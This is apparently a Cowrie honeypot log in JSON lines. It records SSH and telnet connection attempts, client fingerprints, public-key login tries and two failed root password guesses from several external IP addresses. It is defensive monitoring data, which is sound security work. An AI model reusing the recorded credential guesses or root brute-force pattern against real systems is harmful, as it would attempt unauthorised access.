{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":39306,"dst_ip":"10.17.0.5","dst_port":22,"session":"708b69623c20","protocol":"ssh","message":"New connection: 89.108.118.91:39306 (10.17.0.5:22) [session: 708b69623c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:51.529975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:51.534698Z","src_ip":"89.108.118.91","session":"708b69623c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:51.671457Z","src_ip":"89.108.118.91","session":"708b69623c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:52.082535Z","src_ip":"89.108.118.91","session":"708b69623c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.221644Z","src_ip":"89.108.118.91","session":"708b69623c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.90.105.6","src_port":2378,"dst_ip":"10.17.0.5","dst_port":22,"session":"986b04c4f70c","protocol":"ssh","message":"New connection: 45.90.105.6:2378 (10.17.0.5:22) [session: 986b04c4f70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.329353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.333848Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.416317Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:1a:65:d9:65:19:92:29:b4:8d:fb:7d:dd:39:73:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyzi7QFCpa4MfKDM0yV6KnpFuFk8B1M3u+tFiDQyaheIZqjHlzwgslLyH6TZqCOQz0WJENP7K5AdrA777BGk3TQU9e8i68yy1h6YtgOW1MeBIXdWuw4peR2XB5FDM6rMaJFhHjmSqE3njpCB1yTzcTflFFLIo02bXunVmtB1+/koSo5LFv0xQ03gLTBcXEbDyhcLOjnF2m7a5UL9h/k/NK/x69HRQ/6g8XPIEJfCzI8hpd8MQSiriyoWD/DiM4j8USOm26jjrtFvdZiEehh1Laci4yJZfnMPEmlfSwZ/Qkwnj1lDbymKvG9c5T4bF3UBGNfUQ2tSTDo81u1kTyh17LQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:1a:65:d9:65:19:92:29:b4:8d:fb:7d:dd:39:73:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.805250Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:1a:65:d9:65:19:92:29:b4:8d:fb:7d:dd:39:73:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyzi7QFCpa4MfKDM0yV6KnpFuFk8B1M3u+tFiDQyaheIZqjHlzwgslLyH6TZqCOQz0WJENP7K5AdrA777BGk3TQU9e8i68yy1h6YtgOW1MeBIXdWuw4peR2XB5FDM6rMaJFhHjmSqE3njpCB1yTzcTflFFLIo02bXunVmtB1+/koSo5LFv0xQ03gLTBcXEbDyhcLOjnF2m7a5UL9h/k/NK/x69HRQ/6g8XPIEJfCzI8hpd8MQSiriyoWD/DiM4j8USOm26jjrtFvdZiEehh1Laci4yJZfnMPEmlfSwZ/Qkwnj1lDbymKvG9c5T4bF3UBGNfUQ2tSTDo81u1kTyh17LQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.808903Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:a9:8b:9d:68:5c:cc:7e:eb:76:e2:8c:78:f9:a8:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA600yWx6pgvAjxsdePRvRr8LrnKVTbCZcqEXSFtoFhjGFv772HGkBQaS7caCxRPhJIyEiL52AfSSB6Ga8kpnxuvR2tiKoJhaksGOydQTsy85g+j0Eh/D9p7frSdhMC1gqOfgu1SelYXDFJ3886Od/6Klh/SdmxGclNvsDhUXrku/nZWsmxb9dbRVbj2gZ0CRsRWwr+TuaaHQd+2avjR6Y1fP/YB/ypGWHIIYoopxaXJRnhFtdoY31cTS4lO1m73IUF2rJwv+oOha5VmjcEEZ0P9XMkFtzgNbD+pSdwQqjBMFvwv+w3M0VyjirppQWdFdXc1d4qHTeNUadEH85U2iE9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:a9:8b:9d:68:5c:cc:7e:eb:76:e2:8c:78:f9:a8:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.893269Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:a9:8b:9d:68:5c:cc:7e:eb:76:e2:8c:78:f9:a8:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA600yWx6pgvAjxsdePRvRr8LrnKVTbCZcqEXSFtoFhjGFv772HGkBQaS7caCxRPhJIyEiL52AfSSB6Ga8kpnxuvR2tiKoJhaksGOydQTsy85g+j0Eh/D9p7frSdhMC1gqOfgu1SelYXDFJ3886Od/6Klh/SdmxGclNvsDhUXrku/nZWsmxb9dbRVbj2gZ0CRsRWwr+TuaaHQd+2avjR6Y1fP/YB/ypGWHIIYoopxaXJRnhFtdoY31cTS4lO1m73IUF2rJwv+oOha5VmjcEEZ0P9XMkFtzgNbD+pSdwQqjBMFvwv+w3M0VyjirppQWdFdXc1d4qHTeNUadEH85U2iE9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.897755Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:c0:d0:7d:5d:ac:c1:4b:d1:8e:e1:c6:d4:f1:33:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtVfkoGFTTSOJhVSkrau1PgcH3RQN2cwCBAR0kxP803Tt1398/JDOBqojQATJ6ZjTpFVdj8nnLy0hBcJBJ5NpDF3vGKAMNFrrMhx+Azkr3UWITntkRAAN9ITYrWJrYEpLtARS+Nv23sPygE/maTEHCONH9p2CoVWiZ8GmsnAjU72O6GxOFR/LOhC2y89uA/Kfww3A6slQ6Q/eqCLCS10eOrJFHV8msCzaUj1wc+KTzdovoNSWmfUaQ9iYyNobE4oG2SebwRebjR6SJJWLKzn1ywDh2BY/Lj+cFKDnZT0sCn7IVgtNzsL2XTJMnhEb0360dNQ87opWI5NoQh7lSkS5z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:c0:d0:7d:5d:ac:c1:4b:d1:8e:e1:c6:d4:f1:33:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.981843Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:c0:d0:7d:5d:ac:c1:4b:d1:8e:e1:c6:d4:f1:33:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtVfkoGFTTSOJhVSkrau1PgcH3RQN2cwCBAR0kxP803Tt1398/JDOBqojQATJ6ZjTpFVdj8nnLy0hBcJBJ5NpDF3vGKAMNFrrMhx+Azkr3UWITntkRAAN9ITYrWJrYEpLtARS+Nv23sPygE/maTEHCONH9p2CoVWiZ8GmsnAjU72O6GxOFR/LOhC2y89uA/Kfww3A6slQ6Q/eqCLCS10eOrJFHV8msCzaUj1wc+KTzdovoNSWmfUaQ9iYyNobE4oG2SebwRebjR6SJJWLKzn1ywDh2BY/Lj+cFKDnZT0sCn7IVgtNzsL2XTJMnhEb0360dNQ87opWI5NoQh7lSkS5z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:53.986676Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:13:a5:a9:ff:ed:d3:64:b0:4d:ae:25:8f:45:d4:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDp6w3kIa4EdceFRVzljiVR2tXlLc1ovzmcTfWcYmHM+LzKxf9emLzhFOPeNhefUylxjNCjan9vq8YDeEjaCOGyPNzxpYuE0FuUU2MPwUIulg6ZcDzi+LIUXX2E4ooXl52FAficlvZMhwW+/bXywC+NIvaslSsytXmRbX/RUJCsf7wfZq58j6gKc1SrRXMz4lxDmN3NRAadDd9mam1M0qoBS43V8/aDImoXKS+Y7pDPCBF16VMtE9pCv4mrYNe6qN6sFX6tJyFYlEu5ADPtSKh2EcinAvnPigwEYyrQuoLvZycdLVhjrjgVgVvlz367Ac6QoctbymVOdCjK4xnPxSVN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:13:a5:a9:ff:ed:d3:64:b0:4d:ae:25:8f:45:d4:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:54.072536Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:13:a5:a9:ff:ed:d3:64:b0:4d:ae:25:8f:45:d4:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDp6w3kIa4EdceFRVzljiVR2tXlLc1ovzmcTfWcYmHM+LzKxf9emLzhFOPeNhefUylxjNCjan9vq8YDeEjaCOGyPNzxpYuE0FuUU2MPwUIulg6ZcDzi+LIUXX2E4ooXl52FAficlvZMhwW+/bXywC+NIvaslSsytXmRbX/RUJCsf7wfZq58j6gKc1SrRXMz4lxDmN3NRAadDd9mam1M0qoBS43V8/aDImoXKS+Y7pDPCBF16VMtE9pCv4mrYNe6qN6sFX6tJyFYlEu5ADPtSKh2EcinAvnPigwEYyrQuoLvZycdLVhjrjgVgVvlz367Ac6QoctbymVOdCjK4xnPxSVN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:54.076436Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:2c:3a:d4:3d:28:82:4e:24:10:c9:fb:0e:9c:74:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI5FcDh7NdR8JcX+Vt4QRvCVTSRHbnIM9RYHiP5E+k7GYC6DDhlnxX5HG39TUpv1R0L2oV0VItw5aF/r/hjg/hZHnABetBrlysD4RFovz0YNuymbz9Hl/ms3Fqsdb85CZsT5Y7cLsyUed9WglEfVdyvt/qQzJaFGP7RhDWcUjJ75o2BUcCOqzOCtSJZAoOZu+aBaZ5R2p6qgo+Nb2mFTKY6uc+bxkqzSKdKmqckKnO+zSOMss6PsnSw8Axt670f7qltr8tTaCJwBXwuQIThID6OS33750NhM3ialAhFig0IzTZLz5VjU6ipX0wv9WqgwxDoNu1rtco0nsm3StwoVnd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:2c:3a:d4:3d:28:82:4e:24:10:c9:fb:0e:9c:74:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:54.160349Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:2c:3a:d4:3d:28:82:4e:24:10:c9:fb:0e:9c:74:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI5FcDh7NdR8JcX+Vt4QRvCVTSRHbnIM9RYHiP5E+k7GYC6DDhlnxX5HG39TUpv1R0L2oV0VItw5aF/r/hjg/hZHnABetBrlysD4RFovz0YNuymbz9Hl/ms3Fqsdb85CZsT5Y7cLsyUed9WglEfVdyvt/qQzJaFGP7RhDWcUjJ75o2BUcCOqzOCtSJZAoOZu+aBaZ5R2p6qgo+Nb2mFTKY6uc+bxkqzSKdKmqckKnO+zSOMss6PsnSw8Axt670f7qltr8tTaCJwBXwuQIThID6OS33750NhM3ialAhFig0IzTZLz5VjU6ipX0wv9WqgwxDoNu1rtco0nsm3StwoVnd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:54.165070Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:54.248385Z","src_ip":"45.90.105.6","session":"986b04c4f70c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52482,"dst_ip":"10.17.0.5","dst_port":23,"session":"b216d0388b4c","protocol":"telnet","message":"New connection: 50.6.8.71:52482 (10.17.0.5:23) [session: b216d0388b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:55.637284Z"}
{"eventid":"cowrie.session.closed","duration":42.21933650970459,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:59.245266Z","src_ip":"50.6.8.71","session":"0274e9944b0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41332,"dst_ip":"10.17.0.5","dst_port":23,"session":"41468c3f7281","protocol":"telnet","message":"New connection: 50.6.8.71:41332 (10.17.0.5:23) [session: 41468c3f7281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:00:59.687393Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41336,"dst_ip":"10.17.0.5","dst_port":23,"session":"29012bdf4555","protocol":"telnet","message":"New connection: 50.6.8.71:41336 (10.17.0.5:23) [session: 29012bdf4555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:02.804142Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41338,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6f1b257f5ec","protocol":"telnet","message":"New connection: 50.6.8.71:41338 (10.17.0.5:23) [session: d6f1b257f5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:04.649493Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35634,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac2ffbf570eb","protocol":"ssh","message":"New connection: 193.37.70.224:35634 (10.17.0.5:22) [session: ac2ffbf570eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:04.914445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:04.947471Z","src_ip":"193.37.70.224","session":"ac2ffbf570eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:05.134893Z","src_ip":"193.37.70.224","session":"ac2ffbf570eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123qwerty","message":"login attempt [root/qwerty123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:05.433186Z","src_ip":"193.37.70.224","session":"ac2ffbf570eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:06.529347Z","src_ip":"193.37.70.224","session":"ac2ffbf570eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42612,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a4388d422b","protocol":"telnet","message":"New connection: 50.6.8.71:42612 (10.17.0.5:23) [session: d4a4388d422b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:06.856067Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42614,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1812af3a42e","protocol":"telnet","message":"New connection: 50.6.8.71:42614 (10.17.0.5:23) [session: e1812af3a42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:08.170607Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57558,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c88c4e660c4","protocol":"telnet","message":"New connection: 50.6.8.71:57558 (10.17.0.5:23) [session: 3c88c4e660c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:20.433040Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57586,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7d94903e448","protocol":"telnet","message":"New connection: 50.6.8.71:57586 (10.17.0.5:23) [session: a7d94903e448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:24.253198Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57570,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd94f3a2860b","protocol":"telnet","message":"New connection: 50.6.8.71:57570 (10.17.0.5:23) [session: dd94f3a2860b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:24.653928Z"}
{"eventid":"cowrie.session.closed","duration":32.265023946762085,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:27.902190Z","src_ip":"50.6.8.71","session":"b216d0388b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47410,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fd6d5848894","protocol":"telnet","message":"New connection: 50.6.8.71:47410 (10.17.0.5:23) [session: 9fd6d5848894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:31.623490Z"}
{"eventid":"cowrie.session.closed","duration":34.221651792526245,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:33.908922Z","src_ip":"50.6.8.71","session":"41468c3f7281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12968444824219,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:34.933676Z","src_ip":"50.6.8.71","session":"29012bdf4555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99916172027588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:35.648538Z","src_ip":"50.6.8.71","session":"d6f1b257f5ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73165941238403,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:43.587598Z","src_ip":"50.6.8.71","session":"d4a4388d422b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38132,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ee80aa40371","protocol":"telnet","message":"New connection: 50.6.8.71:38132 (10.17.0.5:23) [session: 6ee80aa40371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:50.701977Z"}
{"eventid":"cowrie.session.closed","duration":42.62362599372864,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:01:50.794110Z","src_ip":"50.6.8.71","session":"e1812af3a42e","protocol":"telnet"}
